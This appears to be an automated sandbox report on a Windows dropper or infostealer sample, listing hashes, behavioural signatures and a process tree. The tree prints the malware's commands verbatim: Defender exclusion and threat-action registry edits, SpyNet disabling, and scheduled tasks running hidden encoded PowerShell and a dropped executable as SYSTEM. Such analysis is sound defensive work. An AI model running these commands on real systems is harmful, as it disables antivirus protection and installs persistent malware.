Analysis

  • max time kernel
    170s
  • max time network
    177s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-11-2022 06:33

General

  • Target

    file.exe

  • Size

    7.2MB

  • MD5

    b374f37c729ba81d8328173c325af442

  • SHA1

    9392040af20e507482bb1b3b4249060107240610

  • SHA256

    f4b26d3c7a28964d229a292471dcb8247a1112f19397c57755f5a25e49acd3c1

  • SHA512

    15f29d2bb4b244aa33cd066d8900296e284153a1a683979f6a944004fe11443b42f1aa93f6d30a06aa12476a350c7210c25d1feef6aa927cfbcae07e890576fc

  • SSDEEP

    196608:91OZI3K3nEkGjraBNvx3RdfjK7ZFwvrfzSEb/W:3ODEkGjraBNx3Rd7K7ZkWEb/W

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4352
    • C:\Users\Admin\AppData\Local\Temp\7zSBD98.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2404
      • C:\Users\Admin\AppData\Local\Temp\7zSC364.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:1696
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1468
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2612
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:4232
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:204
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:5116
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2096
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:3376
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:116
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gcXzYbaby" /SC once /ST 05:57:22 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:2704
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gcXzYbaby"
                  4⤵
                    PID:3164
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gcXzYbaby"
                    4⤵
                      PID:3956
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bvffOywEAsomCrOclN" /SC once /ST 07:35:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\tpJIuSEupLAEZXYwF\lJBlQvjZsVtqrIl\XzswOIF.exe\" Bp /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:3112
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4400
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:1580
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:1216
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:1428
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:3256
                      • C:\Users\Admin\AppData\Local\Temp\tpJIuSEupLAEZXYwF\lJBlQvjZsVtqrIl\XzswOIF.exe
                        C:\Users\Admin\AppData\Local\Temp\tpJIuSEupLAEZXYwF\lJBlQvjZsVtqrIl\XzswOIF.exe Bp /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:4220
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:228
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2136
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:4760
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:4568
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:3696
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:3508
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:3168
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:3176
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:3548
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:3828
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:4620
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:3588
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:3216
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:548
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:3424
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:4208
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:5112
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:1212
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4400
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:1160
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:1684
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:1404
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:4508
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:3100
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:3408
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:988
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GMdDEZUiqAWOMLthmzR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GMdDEZUiqAWOMLthmzR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\InaIvrjBgGxU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\InaIvrjBgGxU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bNrcflyMMmUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bNrcflyMMmUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pGMaoMOmU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pGMaoMOmU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zjyBtxSiMuSUC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zjyBtxSiMuSUC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\uOKUZcIdbhBstHVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\uOKUZcIdbhBstHVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\tpJIuSEupLAEZXYwF\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\tpJIuSEupLAEZXYwF\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\jWXQtFKEfMKfhKUF\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\jWXQtFKEfMKfhKUF\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:4664
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GMdDEZUiqAWOMLthmzR" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:4644
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GMdDEZUiqAWOMLthmzR" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:4740
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GMdDEZUiqAWOMLthmzR" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:4952
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\InaIvrjBgGxU2" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:4280
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\InaIvrjBgGxU2" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:2264
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bNrcflyMMmUn" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:4384
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bNrcflyMMmUn" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:2332
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\pGMaoMOmU" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:1284
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\pGMaoMOmU" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:1676
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zjyBtxSiMuSUC" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:3988
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zjyBtxSiMuSUC" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:3596
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\uOKUZcIdbhBstHVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:2824
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\uOKUZcIdbhBstHVB /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:1188
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\tpJIuSEupLAEZXYwF /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:4440
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\tpJIuSEupLAEZXYwF /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:1492
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\jWXQtFKEfMKfhKUF /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:3080
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\jWXQtFKEfMKfhKUF /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:1836
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "gToLbSxfR" /SC once /ST 05:08:43 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:4660
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "gToLbSxfR"
                                                                                                            2⤵
